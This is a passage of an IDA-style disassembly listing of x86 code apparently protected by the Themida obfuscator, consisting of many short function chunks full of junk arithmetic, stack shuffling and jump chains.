; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------


loc_56A1E7:				; CODE XREF: Themida_:005672FFj
		sub	ebx, esi
		jmp	loc_563094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56A1EE:				; CODE XREF: sub_574F16-3ABj
		add	esp, 4
		xor	al, ch
		mov	cx, [esp+2+var_2]
		push	edx
		push	esp
		pop	edx
		jmp	loc_56DE6B
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------


loc_56A1FF:				; CODE XREF: Themida_:0056FEEFj
		push	dword ptr [esp]
		jmp	loc_56DA97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56A207:				; CODE XREF: sub_5753A5-12B8j
		sub	esi, 0DFB2F06h
		sub	esi, edx
		push	edi
		mov	edi, 7E9C50C6h
		xor	edi, 1BA5668Dh
		shl	edi, 4
		jmp	loc_572DB1
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56A223:				; CODE XREF: sub_56616D+96C5j
		pop	edx
		jmp	loc_56E87B
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56A229:				; CODE XREF: sub_5754DA-3CF6j
		mov	ch, 44h
		jmp	loc_56773F
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568646


loc_56A230:				; CODE XREF: sub_568646-827Aj
		pop	edx
		push	ebx
		push	4BFEh
		mov	[esp+4+var_4], edx
		push	ecx
		push	1586h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5607DF
; END OF FUNCTION CHUNK	FOR sub_568646
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56A248:				; CODE XREF: sub_564D26+3E0Aj
		inc	edi
		jmp	loc_56BE07
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_56A24E:				; CODE XREF: sub_56E0CB+484j
		mov	[esp+0], edi
		mov	edi, 2E483B3Ch
		mov	ebx, 2E483B3Eh
		xor	ebx, edi
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_5666EC
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------


loc_56A273:				; CODE XREF: Themida_:005712DDj
		add	edx, ebx
		pop	ebx
		mov	ebp, edx
		pop	edx
		sub	ebp, 71DD431Dh
		jmp	loc_5715CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562EB3


loc_56A284:				; CODE XREF: sub_562EB3+E616j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_562EB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_56A298:				; CODE XREF: sub_569A84+44BAj
		mov	ecx, 2A511D30h
		sub	ecx, 491F4882h
		dec	ecx
		push	eax
		mov	eax, 22867E80h
		sub	eax, 105C2CA4h
		not	eax
		inc	eax
		sub	eax, 7C8D49AAh
		add	eax, 4C215716h
		sub	ecx, eax
		jmp	loc_573DF7
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56A2C3:				; CODE XREF: sub_56657A+115Aj
		xor	ecx, edx
		pop	edx
		jmp	loc_569E87
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564686


loc_56A2CB:				; CODE XREF: sub_564686+B149j
		push	26CEh
		mov	[esp+4+var_4], edi
		mov	edi, 31614B74h
		add	dword ptr [esp+4], 8247B48h
		sub	dword ptr [esp+4], 63DA525Eh
		sub	dword ptr [esp+4], 68924CFBh
		push	ebp
		mov	ebp, 48D320F3h
		add	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 20F40576h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 20F40576h
		sub	dword ptr [esp+4], 48D320F3h
		add	dword ptr [esp+4], 68924CFBh
		add	dword ptr [esp+4], 63DA525Eh
		sub	dword ptr [esp+4], 8247B48h
		mov	edi, [esp+4+var_4]
		push	edi
		jmp	sub_566F55
; END OF FUNCTION CHUNK	FOR sub_564686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_56A338:				; CODE XREF: sub_57109F+315Cj
		inc	esi
		jmp	loc_573ABF
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C474


loc_56A33E:				; CODE XREF: sub_56C474+7AF9j
		mov	edx, 4
		add	[esp+10h+var_C], edx
		pop	edx
		pop	ebx
		add	ebx, 4
		push	edi
		push	4
		mov	edi, [esp+10h+var_10]
		jmp	loc_56F138
; END OF FUNCTION CHUNK	FOR sub_56C474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56A35D:				; CODE XREF: sub_569193-58A4j
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		jmp	loc_56BEA5
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_56A368:				; CODE XREF: sub_5690E8-12F2j
		neg	[esp+10h+var_10]
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		xchg	eax, esi
		push	7CF7h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 6F647392h
		or	eax, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		mov	ebx, 6E208B4h
		jmp	loc_573342
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------


loc_56A398:				; CODE XREF: Themida_:0056D16Bj
		push	653Ah
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_574AA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_56A3A9:				; CODE XREF: sub_56BC97+10BFj
		mov	esp, [esp+0]
		xor	byte ptr [esp-4+arg_0],	al
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_56A3B5:				; CODE XREF: sub_563207+Aj
		push	esp
		jmp	loc_569A5E
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56A3BB:				; CODE XREF: sub_571289-44Bj
		shl	esi, 3
		jmp	loc_573513
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574287


loc_56A3C3:				; CODE XREF: sub_574287-C442j
		mov	[esp+4+var_4], esi
		push	edi
		jmp	loc_5721A4
; END OF FUNCTION CHUNK	FOR sub_574287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56637E


loc_56A3CC:				; CODE XREF: sub_56637E+9j
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		pop	esp
		shl	eax, 3
		sub	eax, 0FFFFFFFFh
		jmp	loc_5694D2
; END OF FUNCTION CHUNK	FOR sub_56637E
; ---------------------------------------------------------------------------


loc_56A3E2:				; CODE XREF: Themida_:00560ECEj
		push	esp
		jmp	loc_571FF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56A3E8:				; CODE XREF: sub_57354D-95C4j
		mov	esp, [esp+0]
		shr	ecx, 2
		sub	esp, 4
		jmp	loc_57034A
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_56A3F9:				; CODE XREF: sub_572E16+16E1j
		mov	esi, 569E073Ah
		mov	ecx, 2EAA7C1Dh
		jmp	loc_5647B4
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570F0F


loc_56A408:				; CODE XREF: sub_570F0F-2AE0j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_56E3DB
; END OF FUNCTION CHUNK	FOR sub_570F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_56A416:				; CODE XREF: sub_569D5F-6926j
		mov	[esp+0], dx
		mov	dl, 0E0h
		sub	al, 57h
		jmp	loc_574CCE
; END OF FUNCTION CHUNK	FOR sub_569D5F

; =============== S U B	R O U T	I N E =======================================



sub_56A423	proc near		; CODE XREF: sub_571A50+4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561DC3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C2A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C769 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C95D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FE08 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571A2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00572A39 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573EA1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574C67 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	21B3h
		mov	[esp+8+var_8], edx
		push	179Ah
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 551D5E2Bh
		jmp	loc_56FE08
sub_56A423	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56A445:				; CODE XREF: sub_57549C-1C04j
		add	eax, edi
		push	edi
		jmp	loc_564365
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56A44D:				; CODE XREF: sub_567D31+8B2Fj
		push	[esp+4+var_4]
		jmp	loc_5742D7
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_56A455:				; CODE XREF: sub_574000-448Aj
		push	eax
		mov	eax, 70F4622Bh
		inc	eax
		jmp	loc_560E7E
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56A461:				; CODE XREF: sub_567CF5+318Bj
		push	45CD678Ah
		jmp	loc_565F5A
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56A46B:				; CODE XREF: sub_5678CB+8F8j
		or	ch, bh
		mov	bx, word ptr [esp+4+var_4]
		add	esp, 2
		neg	ch
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	ah, 86h
		jmp	loc_56157F
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56A486:				; CODE XREF: sub_56D464-6715j
		mov	[esp+8+var_8], esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		jmp	loc_56272B
; END OF FUNCTION CHUNK	FOR sub_56D464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56A496:				; CODE XREF: sub_56B11B-5CFj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		pop	esp
		pop	[esp+8+var_8]
		jmp	loc_56B41D
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56A4B5:				; CODE XREF: sub_56FA15-13D5j
		add	bl, 0ACh
		jmp	loc_569904
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56A4BD:				; CODE XREF: sub_57146D-B904j
		add	esp, 4
		sub	bl, 2Ah
		jmp	loc_572E83
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_56A4CB:				; CODE XREF: sub_563DCB-2C82j
		or	edi, 2DA723B2h
		or	edi, 252D0DBEh
		xor	edi, 2DAFEFFBh
		jmp	loc_5697A2
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56A4E2:				; CODE XREF: sub_5673C3+C815j
		push	[esp-8+arg_8]
		pop	ebp
		jmp	loc_564E7D
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_56A4EC:				; CODE XREF: sub_572641+Aj
		mov	al, 0EEh
		add	al, 70h
		jmp	loc_566E32
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_56A4F5:				; CODE XREF: sub_574CDD-11438j
		dec	eax
		add	eax, 0D31EC48Ch
		add	edi, eax
		jmp	loc_560A09
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_56A502:				; CODE XREF: sub_5722C8+3Ej
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_56D2F3
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_56A50C:				; CODE XREF: sub_56BD44+67E4j
		add	[esp+8+var_8], 4
		mov	edi, [esp+8+var_8]
		jmp	loc_5683D5
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56A51B:				; CODE XREF: sub_574A21-13A99j
		mov	edi, 0FF74691h
		xor	edi, 250804FEh
		inc	edi
		xor	edi, 48EA3036h
		not	edi
		sub	edi, 741B664Eh
		xor	edx, edi
		jmp	loc_56E5F0
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56A53C:				; CODE XREF: sub_568764+97B9j
		add	edx, eax
		add	edx, 51510B1h
		pop	eax
		jmp	loc_562881
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56A54A:				; CODE XREF: sub_564D26+FF17j
		mov	esp, [esp+0]
		push	0B7Fh
		mov	[esp+0], esi
		push	467C3554h
		mov	esi, [esp+4+var_4]
		jmp	loc_562527
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56A562:				; CODE XREF: sub_56AB5E+A674j
		mov	ebx, 3594A33h
		push	eax
		mov	eax, 21FC4270h
		shr	eax, 2
		push	ebx
		mov	ebx, 164B0DA7h
		add	eax, ebx
		pop	ebx
		sub	edx, eax
		pop	eax
		add	edx, 53C234D7h
		add	edx, ebx
		sub	edx, 53C234D7h
		add	edx, 1ECA1E43h
		push	[esp+0Ch+var_C]
		jmp	loc_568320
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56A598:				; CODE XREF: sub_569FB8+2417j
		add	esp, 4
		pop	edx
		push	0AE9h
		jmp	loc_570DDE
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_56A5A9:				; CODE XREF: sub_560CF1+2D07j
		add	eax, edi
		pop	edi
		push	eax
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		pop	eax
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		push	7D7h
		mov	[esp+4+var_4], ebp
		jmp	loc_560789
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_56A5CB:				; CODE XREF: sub_568D9E+890Aj
		xchg	eax, edi
		sub	eax, 59546926h
		jmp	loc_56C589
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561C21


loc_56A5D6:				; CODE XREF: sub_561C21+D043j
		shl	bl, 1
		add	bl, 0CEh
		xor	bl, 0CEh
		xor	cl, bl
		mov	ebx, [esp+0]
		add	esp, 4
		xor	al, cl
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		jmp	sub_56AB5E
; END OF FUNCTION CHUNK	FOR sub_561C21
; ---------------------------------------------------------------------------


loc_56A5FA:				; CODE XREF: Themida_:0056448Fj
		add	edx, 4
		sub	edx, 4
		jmp	loc_5642AE

; =============== S U B	R O U T	I N E =======================================



sub_56A608	proc near		; CODE XREF: sub_5642C7-27B2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005607BF SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00561F3A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00564838 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565394 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566351 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056826D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B695 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C00E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DA1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DEA2 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056ECE9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00571A59 SIZE 00000006 BYTES

		sub	esp, 4
		jmp	loc_565394
sub_56A608	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56A613:				; CODE XREF: sub_563A7F+8577j
		push	ecx
		mov	ch, bh
		mov	dl, ch
		jmp	loc_561B8C
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_56A61D	proc near		; CODE XREF: sub_56ADD8+3CF6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005743EB SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5743EB
sub_56A61D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56A647:				; CODE XREF: sub_561027+E4F4j
		mov	[esp+10h+var_10], ebp
		push	ebx
		mov	ebx, 62D4623Eh
		sub	[esp+14h+var_10], ebx
		jmp	loc_56ACB8
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56A659:				; CODE XREF: sub_5687A3-6024j
		pop	ebx
		push	esi
		mov	esi, 0ECC20295h
		add	ecx, esi
		pop	esi
		sub	ebx, 3BE812A2h
		jmp	loc_569D57
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------


loc_56A66E:				; CODE XREF: Themida_:0056DA98j
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 1ED3296Dh
		xor	edx, ebx
		pop	ebx
		jmp	loc_56110C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56A688:				; CODE XREF: sub_571F6F-F24Bj
		pop	esi
		pop	edx
		dec	ecx
		jmp	loc_5747F3
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56A690:				; CODE XREF: sub_57354D-AD4Aj
		mov	eax, esp
		push	ebp
		mov	ebp, 0D8B26C3h
		jmp	loc_569F98
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56A69D:				; CODE XREF: sub_574304-C87Ej
		xor	ebp, 758A1AA4h
		sub	ebp, 0D9F972F7h
		add	edi, ebp
		jmp	loc_5644FF
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56A6B0:				; CODE XREF: sub_571088-B971j
		add	esp, 2
		movzx	eax, al
		jmp	loc_571FB5
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_56A6BE:				; CODE XREF: sub_56C7AA+5977j
		mov	[esp+0], ebx
		mov	ebx, 0
		jmp	loc_5731D7
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56A6CB:				; CODE XREF: sub_568764+8950j
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_56874B
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56A6D7:				; CODE XREF: sub_5713A7-7BD0j
		add	edx, ebx
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 10D474C4h
		jmp	loc_56782E
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_56A6EB:				; CODE XREF: sub_56E05C-6DBBj
		push	7B7Bh
		jmp	loc_56C975
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56A6F5:				; CODE XREF: sub_57354D-CEB4j
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_56AF76
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_56A706:				; CODE XREF: sub_570CE4+42D3j
		pop	edx
		jmp	loc_571912
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_56A70C:				; CODE XREF: sub_56FD38-8E82j
		pop	edi
		and	ebx, 293737C2h
		inc	ebx
		jmp	loc_56C754
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56189F


loc_56A719:				; CODE XREF: sub_56189F+EB12j
		mov	ebp, 61231ABEh
		shr	ebp, 2
		shr	ebp, 6
		jmp	loc_56D720
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56A729:				; CODE XREF: sub_56FB8A-A14Fj
		sub	ebx, 434C1F36h
		pop	esi
		xor	eax, ebx
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	42C0h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_5663CD
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_56A763:				; CODE XREF: sub_566C83-6C64j
		add	ebx, 41FB5339h
		jmp	loc_56B3FD
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------


loc_56A76E:				; CODE XREF: Themida_:0056C7D1j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3ABF302Bh
		mov	esi, 261A197Ah
		add	esi, edi
		pop	edi
		not	esi
		shr	esi, 7
		or	esi, 444F2E48h
		sub	esi, 0D03D2AECh
		jmp	loc_567D4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56A79A:				; CODE XREF: sub_564BC5+9E64j
		mov	dx, [esp+0]
		push	13CBh
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		jmp	loc_56DF59
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_56A7AD:				; CODE XREF: sub_56241E-FB2j
		mov	dx, bx
		pop	ebx
		not	dx
		xor	dx, 5485h
		sub	esp, 2
		jmp	loc_573C5E
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56A7C1:				; CODE XREF: sub_5753A5-91DCj
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_56FA7D
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56858D


loc_56A7D1:				; CODE XREF: sub_56858D+Cj
		push	edx
		mov	edx, 53B44166h
		xor	edx, 2C2B31CDh
		add	edx, 1E1339BEh
		add	edx, 0E2267D69h
		add	edi, edx
		pop	edx
		pop	esi
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], ecx
		jmp	loc_568B55
; END OF FUNCTION CHUNK	FOR sub_56858D

; =============== S U B	R O U T	I N E =======================================



sub_56A7FB	proc near		; CODE XREF: sub_569D5F+4AF1j

var_8		= dword	ptr -8
var_3		= byte ptr -3

; FUNCTION CHUNK AT 00560FBF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561A33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056296A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00563B64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564B9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005674F7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005688A0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B972 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056CD5B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FA76 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570719 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572A52 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573C0A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057462D SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00574F9F SIZE 00000006 BYTES

		push	bx
		jmp	loc_573C0A
sub_56A7FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_56A802:				; CODE XREF: sub_56749A-26DAj
		pop	esp
		push	6834h
		mov	[esp+14h+var_14], eax
		push	esi
		mov	esi, esp
		jmp	loc_569251
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_56A813:				; CODE XREF: sub_56E5BB-D422j
		add	ecx, 2
		push	106Dh
		jmp	loc_571921
; END OF FUNCTION CHUNK	FOR sub_56E5BB
; ---------------------------------------------------------------------------
		dd 4EC81h, 0FCE90000h
		db 86h,	0FFh
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56A82B:				; CODE XREF: sub_5620B7+F04Cj
		or	dh, 0E7h
		not	dh
		or	dh, 0F0h
		shr	dh, 2
		xor	dh, 0A4h
		mov	ch, dh
		pop	edx
		sub	bh, 0E3h
		sub	bh, ch
		push	dx
		mov	dl, 0E3h
		add	bh, dl
		pop	dx
		jmp	loc_563733
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56A84E:				; CODE XREF: sub_563A7F+1022Bj
		mov	bl, 54h
		mov	dh, bl
		pop	bx
		xor	bh, dh
		pop	dx
		and	bh, 48h
		push	edx
		mov	dl, 83h
		add	bh, dl
		jmp	loc_5745FE
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56A865:				; CODE XREF: sub_574304-D83Ej
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ebp
		push	esp
		push	[esp+4+var_4]
		jmp	loc_561167
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_56A874:				; CODE XREF: sub_571F6F-1237j
		pop	ecx
		add	eax, edi
		jmp	loc_56EF3A
